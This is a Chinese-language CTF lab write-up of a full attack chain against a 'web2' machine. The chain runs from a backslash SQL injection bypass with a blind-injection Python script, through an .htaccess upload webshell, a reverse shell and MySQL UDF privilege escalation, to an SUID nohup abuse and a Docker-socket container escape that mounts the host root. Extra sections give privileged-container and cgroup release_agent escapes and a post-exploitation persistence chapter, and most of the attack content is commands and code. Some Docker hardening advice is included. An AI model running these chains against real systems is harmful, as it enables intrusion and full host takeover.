SQL 注入、文件上传绕过、MySQL UDF 提权、SUID 提权、Docker 逃逸,以及 APT 持久化技术渗透测试全流程第二次思路

一.解题具体过程

**1.打开这个web2的机器同样的nmap扫端口。Dirsearch扫目录,**使用漏扫工具扫一下,发现mysl以及80端口,和目录,我们登进去发现只有一个可以进去,还有一个文件上传,有一个那不能进去的我们提权进去后看看到底隐藏什么不让我看

(2)看看源码,看看swp的vim异常退出产生的备份文件,我们发现了语句输入的过滤

为了更透彻地理解漏洞,我们需要对这段 PHP 代码的执行逻辑进行深度拆解。这段代码是一个典型的"带 WAF 的登录验证"逻辑。

1. 黑名单定义 ($ban_str) 开发者定义了一个极其庞大的黑名单,试图拦截所有可能的 SQL 注入关键字:

  • 查询类:select, union, load_file
  • 操作类:insert, update, delete, drop, alter
  • 函数类:ascii, sub (对应 substr), sleep, user, phpinfo
  • 符号类:', /*, */, <script

2. 过滤逻辑的核心缺陷 代码使用了 foreach 遍历黑名单,并调用 lvlarrep 函数进行递归替换

  • 递归替换的初衷:开发者希望将 select 替换为空,如果攻击者输入 selselectect,替换一次后变成 select,开发者希望通过递归继续替换,直到字符串中不再包含关键字。
  • 实际效果:正是这种"聪明"的递归替换(或者特定的替换逻辑实现),往往留下了双写绕过的空间。如果替换逻辑是从左到右进行一次性匹配和删除,那么双写确实可以绕过。但在本例中,配合后续的测试发现,双写 selselectect 确实成功保留了 select,说明过滤机制存在逻辑漏洞。

3. 单引号转义与反斜杠遗漏

php

str = str_replace('\\'', '\'', str);

这一行代码是导致 反斜杠注入 的直接原因。

  • 它的作用:将所有的单引号 ' 替换为 HTML 实体 &#39;。这通常是为了防止 XSS,但在 SQL 上下文中,也能破坏闭合。
  • 它的疏忽没有处理反斜杠 \ 。在 MySQL 中,\ 是转义字符。攻击者输入 admin\,经过 WAF 后依然是 admin\。当它进入 SQL 语句: username = 'admin\' 末尾的反斜杠转义了包裹 username 值的结束单引号,导致 SQL 解析器继续向后吞噬字符串,直到遇到下一个单引号。

**构造用户:**admin\,密码:or 1=1#

相当于username="admin\" and passwd = " or 1=1 #"

admin\" and passwd =

or 1=1 #

(3)从这个代码,我们也可以看出含有布尔注入的方法,那我们爆一下密码:

#!/usr/bin/env python3

import requests

import string

url = 'http://192.168.8.160/'

def test_bool(username, password):

sess = requests.session()

post_data = {

'login': '1',

'username': username,

'password': password

}

try:

resp = sess.post(url, data=post_data, timeout=5)

return '登陆成功' in resp.text

except:

return False

user_payload = 'admin\\'

print("[*] Finding password length...")

for length in range(1, 100):

payload = f" or length(password)={length}-- "

if test_bool(user_payload, payload):

print(f"[+] Password length: {length}")

pwd_len = length

break

print("[*] Extracting password character by character...")

password = ''

for pos in range(1, pwd_len + 1):

for code in range(32, 127):

payload = f" or ord(mid(password,{pos},1))={code}-- "

if test_bool(user_payload, payload):

password += chr(code)

print(f"[+] Password[{pos}]: {chr(code)} -> {password}")

break

print(f"\n[*] Final password: {password}")

实体编码:

实体编码(也常叫字符实体 / HTML 实体编码) 的核心概念,简单来说,它是把有特殊含义的字符转换成通用的 "实体符号",让程序 / 浏览器能正确解析,而不是把这些字符当作代码或指令执行,防止跨站脚本攻击,没有处理反斜杠

(4)这个php和jpg都没前端禁止传入,但是连接php的时候失败,有可能是后端禁止php,或者禁止其中的语法,那我们上传.htaccess文件和.user.ini文件能不能修改一下啊jpg让他执行php的能力,后续发现.htaccess是可以成功的(其中我产生了两个错误,一个是将.htaccess.txt加了后缀,一个是蚁剑环境出错,需要重启连接)

.htaccess:篡改Apache 服务器的解析规则,让指定后缀文件(如.jpg/.txt)被解析为 PHP。 和让所有文件都以 PHP 解析(全盘篡改)

.user.ini:篡改PHP 的运行配置 ,通过自动包含机制,让任意文件(如.jpg)中的恶意代码被执行。让正常的 PHP 文件(如 index.php)在执行时,自动包含恶意文件(如 malicious.jpg),从而间接执行恶意代码。

目标服务器是 Apache。Apache 有一个特性:允许在目录中放置 .htaccess 文件来覆盖服务器配置。如果:

  1. Apache 配置了 AllowOverride All 或 AllowOverride FileInfo
  2. 文件上传功能没有过滤 .htaccess 文件

那么攻击者可以上传一个 .htaccess 文件,修改该目录下的文件解析规则,使任意文件被当作 PHP 执行。

这种方法的优势

  • 不需要猜测服务器支持哪些 PHP 扩展名
  • 可以让任意文件名(甚至没有扩展名)被解析为 PHP
  • 绕过了基于扩展名的黑白名单检查

(5)权限方面:首先进去之后就看看开始不允许看的目录,发现什么都没有,就一个页面的构造,以及知道的备份内容。再去看看index.txt什么的,发现也没有东西,找找根目录或者其他配置,sudo -l和find / -perm -400 2>/dev/null发现没有什么利用的

(6)那我们看看内核漏洞有没有存在的

上面linux 641一串数字再5.14.0说明可能是在容器里面,641就是主机名,这个一个思考方向,容器逃逸;这个linux 5.14.0和php7.4.9都存在大量漏洞,那我们尝试一下,经大量尝试发现不存在内核漏洞和php漏洞,那我们转换思路,看看敏感文件;宿主机用的是 RHEL 9 的内核,但容器用的是 Debian 10 的根文件系统,因此出现了 "内核是 RHEL 9,发行版是 Debian 10" 的不匹配情况

(7)我们先对他进行一个反弹shell一下,反弹 Shell 不是为了 "立刻提权",而是为了改善操作环境------ 把不稳定、受限的 WebShell,换成稳定、功能完整的 TCP 终端,让后续的提权、逃逸、权限维持等操作更顺畅。sh,bash都不能用,我们搜索可以反弹工具发现php,perl,awk可以使用,最终可以反弹成功的只有php和perl

(8)反弹后使用id看看自己是谁有什么权限,发现cat passwd里面没有其他用户,只有一个root确定,ls -a看看根目录,ls -la /.dockerenv看看具体权限,env 是 environment 的缩写,是 Linux/Unix 系统中的基础命令,核心作用是:查看当前进程的所有环境变量,或在指定的环境变量下执行命令。Env看看环境变量有没有暴露什么内容HOSTNAME=6143de17d057,MYSQL_PASSWORD=xzPzdsKJmUMdPand,MYSQL_HOST=db,MYSQL_USER=root,MYSQL_DATABASE=ctf,上面介绍了主机名,mysql密码,db是MySQL 数据库的连接地址,root是mysql用户名,ctf

默认连接的数据库名,ctf 说明目标场景是 CTF 比赛环境,可以看看库内容

db 是 Docker Compose 编排的服务名(表示数据库运行在同一个 Docker 网络的另一个容器中,服务名为 db),尝试横向移动到数据库容器(如通过 mysql 客户端连接,或利用容器网络漏洞逃逸)。 若能进入 db 容器,可进一步获取宿主机权限

(9)攻击提权

  1. 当前处于 Docker 容器中(存在 /.dockerenv 文件)
  2. 环境变量中包含 MySQL root 密码
  3. MySQL 服务运行在另一个容器中(主机名为 db)

攻击思路:利用 MySQL root 权限进行 UDF 提权,在 MySQL 容器中获取命令执行能力,然后寻找进一步提权的方法。

(10)mysql UDF提权

(11)容器没有mysql,运行在db的容器的mysql,退出kali连接一下

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl

加上 --skip-ssl 后,客户端会强制使用明文连接,绕过 SSL 验证,从而成功建立连接。检查一下ctf发现了flag1,如果在第一步忘记爆破,在这里也是找得到flag

(12)我们有mysql的root权限了,那我们需要做点事情,UDF 提权是 MySQL 渗透的经典技术,那我们试试看,mySql数据逃逸

(13)看系统,外面和内部不一样,在容器,使用Mysql密码udf提权

(14)检查一下环境:SELECT version(); SELECT @@plugin_dir; SELECT @@secure_file_priv; 检查这些环境参数是UDF 提权的核心前置步骤,也是渗透测试中 "精准攻击" 的基础

SELECT version(); → 确认 MySQL 版本

不同 MySQL 版本对 UDF 的加载机制、安全限制完全不同:

5.1 及之前版本:UDF 库可放在任意目录,无需依赖plugin_dir;

5.1 之后版本(如当前的 5.7.44):UDF 库必须放在plugin_dir指定的插件目录才能加载。

(2)SELECT @@plugin_dir; → 获取插件目录路径

UDF 提权的核心是将恶意 UDF 共享库(如lib_mysqludf_sys.so)上传到插件目录,再通过 MySQL 加载并创建执行系统命令的函数(如sys_eval、sys_exec)。

这里得到路径/usr/lib64/mysql/plugin/,后续你需要将 UDF 库文件写入这个目录,否则 MySQL 无法加载 UDF 函数。

(3)SELECT @@secure_file_priv; → 验证文件操作权限

secure_file_priv是 MySQL 的安全配置,控制LOAD_FILE、INTO OUTFILE等文件操作的允许范围:

若为空(如截图中结果为空):允许对所有目录进行文件读写,满足 UDF 提权的关键条件(可以直接将 UDF 库写入插件目录);

若为特定目录:只能在该目录下读写,需确认插件目录是否在允许范围内;

若为NULL:禁止所有文件操作,无法进行 UDF 提权。

(15)准备 UDF 文件:

使用sqlmap自带的UDF文件,

(16)写入 UDF 文件并创建函数

读取十六进制内容

UDF_HEX=$(cat /tmp/udf64_hex.txt)

写入 UDF 文件到 MySQL plugin 目录

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \

-e "SELECT UNHEX('$UDF_HEX') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';"

创建 sys_exec 函数

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl \

-e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys_64.so';"

(17)测试命令执行

为什么要重定向?

sys_exec 只返回命令执行的状态码(0 表示成功,非 0 表示失败),不会直接返回命令的输出内容。因此需要把输出写到文件,再用 LOAD_FILE 读取结果。

右边示例命令里的最后一个 mysql,是 指定连接的目标数据库名,属于 MySQL 客户端的语法规则

SELECT LOAD_FILE('/tmp/out.txt');

输出

uid=999(mysql) gid=999(mysql) groups=999(mysql)

mysql,成功在 MySQL 容器中获取命令执行权限。但是权限很低。

(18)区分以及提权,查找 SUID 文件

系统用户 mysql(uid=999)

本质 :这是 Linux 系统层面的用户,是 MySQL 服务(mysqld 进程)的运行用户。

设计目的:为了安全,MySQL 服务不会用系统 root 用户运行,而是用专门的低权限系统用户 mysql(uid=999),避免服务被攻陷后直接拿到系统 root 权限。

权限范围:仅能操作 MySQL 相关的系统资源(如数据目录 /var/lib/mysql、日志文件等),无法随意执行系统命令、修改其他系统文件。

当前场景的影响 :通过 UDF 函数 sys_exec 执行的系统命令(如 id),会继承 MySQL 服务的运行权限,因此是以系统用户 mysql 的身份执行,所以 id 输出显示 uid=999(mysql)。

  1. MySQL 用户 root(-u root)

本质 :这是 MySQL 数据库内部的用户,是数据库的超级管理员账号。

权限范围:仅在 MySQL 内部生效,拥有数据库的最高权限(如创建用户、修改数据库、执行 UDF 提权等),但这个权限和 Linux 系统的 root 用户无关。

当前场景的影响:用 -u root 连接 MySQL,说明拥有了数据库的最高权限,因此可以创建 UDF 函数 sys_exec,但执行系统命令时,依然受限于 MySQL 服务的运行用户(系统用户 mysql),无法直接获得系统 root 权限。

(19)找到nohup后就不难使用了,sys_exec 的返回值特性导致它无法直接显示命令输出 ------ 我们把命令输出写到文件,再用 LOAD_FILE 查看,本质是 "绕开返回值限制,获取命令执行结果",就是用Linux 渗透测试中查找可利用 SUID 文件的经典命令,来提权查看flag2

产看文件权限

包含-r-------- 1 root root 44 Jan 18 13:55 flag

获取根目录权限信息:通过 ls -la / 收集系统核心目录的权限配置;

确保文件可读取:chmod 644 让 LOAD_FILE 能读取文件(默认 sys_exec 创建的文件只有 mysql 用户有读权限,LOAD_FILE 需要文件对其他用户也有读权限);

分析提权路径:从根目录的权限信息中,找到可利用的漏洞(如世界可写的文件、异常的 SUID 文件),进而提权到 root。

(20)利用SUID nohup读取flag2,搜索到这个flag再使用命令执行保存,赋权,然后使用load命令打开回显

SELECT sys_exec('/usr/bin/nohup cat /flag > /tmp/f.txt 2>&1');

SELECT sys_exec('chmod 644 /tmp/f.txt');

SELECT LOAD_FILE('/tmp/f.txt');

(21)docker逃逸获取flag3,查看mysql里面有没有包含flag的文件,赋权再查看,发现只有flag2,考虑一下当前容器没有了,那我们能不能访问宿主主机,常见的docker逃逸

SELECT sys_exec('/usr/bin/nohup find / -name \"*flag*\" -type f 2>/dev/null > /tmp/find_flags.txt');

SELECT sys_exec('chmod 644 /tmp/find_flags.txt');

SELECT LOAD_FILE('/tmp/find_flags.txt');

过滤系统文件后,就只有一个根目录flag

(22)看看能不能访问宿主主机,查看docker soclet是否存在逃逸条件,

SELECT sys_exec('/usr/bin/nohup ls -la /var/run/docker.sock > /tmp/docker_sock.txt 2>&1');用来查看是否具有逃逸权限,其中关键发现:Docker Socket存在且可访问!这意味着可以与docker daemon通信,肯能访问主机文件系统,输出明确显示了 /var/run/docker.sock 文件,其中开头的 s 表示这是一个 Unix 域套接字(Unix Socket),这是 Docker daemon 用来监听客户端请求的专属通信端点。sys_exec 执行的 ls -la 命令能成功获取该文件的属性,说明 MySQL 运行的进程(通常是 mysql 用户)对这个 socket 文件有读权限。这是与 Docker daemon 通信的前提。

(23)探测宿主主机是否存在其他flag,通过Docker API创建一个临时容器,挂载主机茛目鲤,搜索flag文件

构造 API 请求 payload

JSON 格式的请求体,用来告诉 Docker daemon "要创建一个什么样的容器",每个字段的作用:

"Image":"mysql:5.7":指定容器使用 mysql:5.7 镜像(只要是能运行 find 命令的镜像都可以,比如 alpine 也可以);

"Cmd":["find","/host","-maxdepth","3","-name","*flag*","-type","f"]:容器启动后要执行的命令 ------ 在 /host 目录下(对应主机根目录),最多递归 3 层,查找所有名字包含 flag 的文件;

"HostConfig":{"Binds":["/:/host"]}:核心操作!把主机的根目录 / 绑定挂载到容器内的 /host 目录,这样容器里访问 /host 就等于直接访问主机的所有文件(突破容器隔离)。

使用 MySQL 直接写入 JSON payload(避免 base64 编码问题)

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"find\",\"/host\",\"-maxdepth\",\"3\",\"-name\",\"*flag*\",\"-type\",\"f\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/find_payload.json';" mysql

创建探测容器

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/find_payload.json http://localhost/containers/create\\" > /tmp/find_container.json 2>&1');" mysql

通过 Docker API 创建一个临时容器,挂载宿主机根目录,搜索是否存在其他 flag 文件:

(24)第一步:读取创建容器的返回结果,获取容器 ID

{"Id":"b4a9aeb0d105b8c80b6c4617a9267b3432d07d73d9a9a87169e01188f3b13a37","Warnings":[]}

(25)第二步:启动容器

使用上一步获取的容器 ID

CONTAINER_ID='b4a9aeb0d105b8c80b6c4617a9267b3432d07d73d9a9a87169e01188f3b13a37'

启动容器

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/start.txt 2>&1');" mysql

等待容器执行完成

sleep 2

检查启动结果(可选,成功时返回空)

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/start.txt');" mysql

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。

(26)第三步:获取容器日志(搜索结果)

获取容器日志

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/find_logs.txt 2>&1');" mysql

设置文件权限

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/find_logs.txt');" mysql

读取搜索结果

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/find_logs.txt');" mysql

(27)目标确定了,产看可用镜像

通过信息收集,确认了:

  1. MySQL 容器中的 /flag 是 flag2
  2. 宿主机根目录的 /flag 是一个新的 flag(flag3)
  3. 可以通过 Docker Socket 进行容器逃逸来获取 flag3

获取镜像列表

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/images/json\\" > /tmp/img.json 2>&1');" mysql

设置文件权限

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/img.json');" mysql

读取镜像列表

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/img.json');" mysql

  • mysql:5.7 - MySQL 数据库镜像
  • php:7.4.9-apache - PHP Web 服务镜像
  • app_web:latest - 应用 Web 镜像

选择 mysql:5.7 镜像来创建逃逸容器(因为它已经存在,不需要下载)。

(28)构造 API 请求

创建容器的 API 请求需要一个 JSON 格式的请求体,包含:

  • Image:使用的镜像名称
  • Cmd:容器启动后执行的命令
  • HostConfig.Binds:目录挂载配置

配置解释

  • "Image": "mysql:5.7":使用 mysql:5.7 镜像
  • "Cmd": ["cat", "/host/flag"]:容器启动后执行 cat /host/flag
  • "Binds": ["/:/host"]:将宿主机的 / 挂载到容器的 /host

(29)步骤 1:使用 MySQL 的 SELECT INTO OUTFILE 写入 JSON payload

使用 MySQL 直接写入 JSON payload 文件

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/flag\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/docker_payload.json';" mysql

验证 payload 文件内容

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/docker_payload.json');" mysql

(30)步骤 2:调用 Docker API 创建容器

使用 SUID nohup 以 root 权限执行 curl(因为 mysql 用户没有 docker.sock 访问权限)

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/docker_payload.json http://localhost/containers/create\\" > /tmp/container_create.json 2>&1');" mysql

设置文件权限

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/container_create.json');" mysql

读取容器创建结果,获取容器 ID

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/container_create.json');" mysql

{"Id":"870769fc80aba43a92ffed3dd585560fec77d4ebb87d28a3d17ed0361e54c33c","Warnings":[]}

(31)启动容器并且进行搜索

设置容器 ID 变量(使用上一步返回的实际 ID)

CONTAINER_ID='870769fc80aba43a92ffed3dd585560fec77d4ebb87d28a3d17ed0361e54c33c'

启动容器

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/container_start.txt 2>&1');" mysql

等待容器执行完成(容器执行 cat 命令后会自动退出)

sleep 2

检查启动结果(可选,成功时返回空)

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/container_start.txt');" mysql

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/container_start.txt');" mysql

说明:Docker API 的 /containers/{id}/start 成功时返回 HTTP 204 No Content,所以文件内容为空表示启动成功。

(32)获取容器输出

获取容器日志(flag3 内容)

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/flag3_output.txt 2>&1');" mysql

设置文件权限(重要:否则 LOAD_FILE 可能无法读取)

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/flag3_output.txt');" mysql

读取 flag3

mysql -h 192.168.8.160 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/flag3_output.txt');" mysql

返回结果(注意:输出开头可能包含 Docker 日志的二进制头信息)

创建第一个是搜索,第二个容器才是操作过程

这其实是渗透测试中非常典型的 "分步操作":

  • 第一步(探索):用一个容器探测目标环境(比如搜索文件、查看权限)。
  • 第二步(执行):用另一个容器执行精准的攻击(比如读取敏感文件、提权)。

这样拆分可以避免在一个容器中执行过多命令导致的混乱,也能确保每一步的结果都清晰可控

二.扩展提升

6.7 Docker 逃逸的其他方法

除了 Docker Socket 挂载,还有其他常见的 Docker 逃逸方法:

6.7.1 特权容器逃逸

如果容器以 --privileged 模式运行,可以直接访问宿主机设备:

bash复制

检查是否为特权容器

cat /proc/1/status | grep CapEff

如果值为 0000003fffffffff,则为特权容器

挂载宿主机磁盘

mkdir /mnt/host

mount /dev/sda1 /mnt/host

cat /mnt/host/flag

6.7.2 cgroup 逃逸(CVE-2022-0492)

利用 cgroup v1 的 release_agent 机制逃逸:

bash复制

创建 cgroup

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp

mkdir /tmp/cgrp/x

设置 release_agent

echo 1 > /tmp/cgrp/x/notify_on_release

echo "#!/bin/sh" > /cmd

echo "cat /flag > /tmp/flag" >> /cmd

chmod +x /cmd

echo "/cmd" > /tmp/cgrp/release_agent

触发 release_agent

sh -c "echo \\\ > /tmp/cgrp/x/cgroup.procs"

6.8 Docker 逃逸防御建议

  1. 不要挂载 Docker socket

yaml复制

docker-compose.yml 中避免这样的配置

volumes:

  • /var/run/docker.sock:/var/run/docker.sock # 危险!
  1. 不要使用特权容器

bash复制

避免使用 --privileged

docker run --privileged ... # 危险!

使用最小权限

docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...

  1. 使用 rootless Docker

bash复制

以非 root 用户运行 Docker daemon

dockerd-rootless-setuptool.sh install

  1. 启用安全策略

bash复制

使用 AppArmor

docker run --security-opt apparmor=docker-default ...

使用 Seccomp

docker run --security-opt seccomp=/path/to/seccomp.json ...

  1. 使用只读文件系统

bash复制

docker run --read-only ...

  1. 限制资源访问

bash复制

禁止访问宿主机网络

docker run --network=none ...

禁止访问宿主机 PID 命名空间

docker run --pid=container:other_container ...


第七章 宿主机后渗透与持久化

在获取 flag3 后,渗透测试并未结束。在真实的 APT(高级持续性威胁)攻击场景中,攻击者会进一步巩固对宿主机的控制,建立持久化后门,为后续的横向移动和数据窃取做准备。

7.1 宿主机信息收集

7.1.1 获取交互式 Shell

首先,通过 Docker 逃逸获取宿主机的交互式 Shell:

bash复制

使用 MySQL 直接写入 JSON payload 文件

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"/bin/bash\"],\"Tty\":true,\"OpenStdin\":true,\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true}}' INTO OUTFILE '/tmp/shell_payload.json';" mysql

创建容器

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/shell_payload.json http://localhost/containers/create?name=shell_container\\" > /tmp/shell_create.txt 2>&1');" mysql

设置文件权限并读取结果

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/shell_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/shell_create.txt');" mysql

返回结果

json复制

{"Id":"...容器ID...","Warnings":[]}

重要:启动容器

创建容器后必须启动它:

bash复制

使用返回的容器 ID 启动容器

CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/shell_start.txt 2>&1');" mysql

检查启动结果

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/shell_start.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/shell_start.txt');" mysql

说明:启动成功时返回空。容器启动后,宿主机根目录被挂载到容器的 /host 目录。

7.1.2 收集宿主机信息

注意:由于我们是通过 MySQL UDF 执行命令,命令实际上在 MySQL 容器中运行。MySQL 容器本身没有 /host 目录,所以需要通过 Docker API 创建一次性容器来收集信息。

方法:创建一次性容器执行命令并获取输出

bash复制

收集系统信息 - 创建容器

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"cat\",\"/host/etc/os-release\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/osinfo_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/osinfo_payload.json http://localhost/containers/create\\" > /tmp/osinfo_create.txt 2>&1');" mysql

读取容器 ID

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/osinfo_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/osinfo_create.txt');" mysql

返回结果

json复制

{"Id":"...容器ID...","Warnings":[]}

启动容器并获取输出

bash复制

启动容器

CONTAINER_ID='上一步返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/osinfo_start.txt 2>&1');" mysql

sleep 2

获取容器日志(系统信息)

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/os_info.txt 2>&1');" mysql

读取系统信息

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/os_info.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/os_info.txt');" mysql

同理,收集其他信息

bash复制

收集内核版本

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT '{\"Image\":\"mysql:5.7\",\"Cmd\":[\"uname\",\"-a\"],\"HostConfig\":{\"Binds\":[\"/:/host\"]}}' INTO OUTFILE '/tmp/kernel_payload.json';" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock -H Content-Type:application/json -d @/tmp/kernel_payload.json http://localhost/containers/create\\" > /tmp/kernel_create.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/kernel_create.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/kernel_create.txt');" mysql

获取容器 ID 后启动并获取日志

CONTAINER_ID='返回的容器ID'

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s -X POST --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/start\\" > /tmp/kernel_start.txt 2>&1');" mysql

sleep 2

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('/usr/bin/nohup /bin/sh -p -c \"curl -s --unix-socket /var/run/docker.sock http://localhost/containers/$CONTAINER_ID/logs?stdout=true\\" > /tmp/kernel.txt 2>&1');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT sys_exec('chmod 644 /tmp/kernel.txt');" mysql

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/kernel.txt');" mysql

读取网络配置

mysql -h 10.10.1.187 -u root -pxzPzdsKJmUMdPand --skip-ssl -N \

-e "SELECT LOAD_FILE('/tmp/hosts.txt');" mysql

收集的关键信息

信息类型 用途
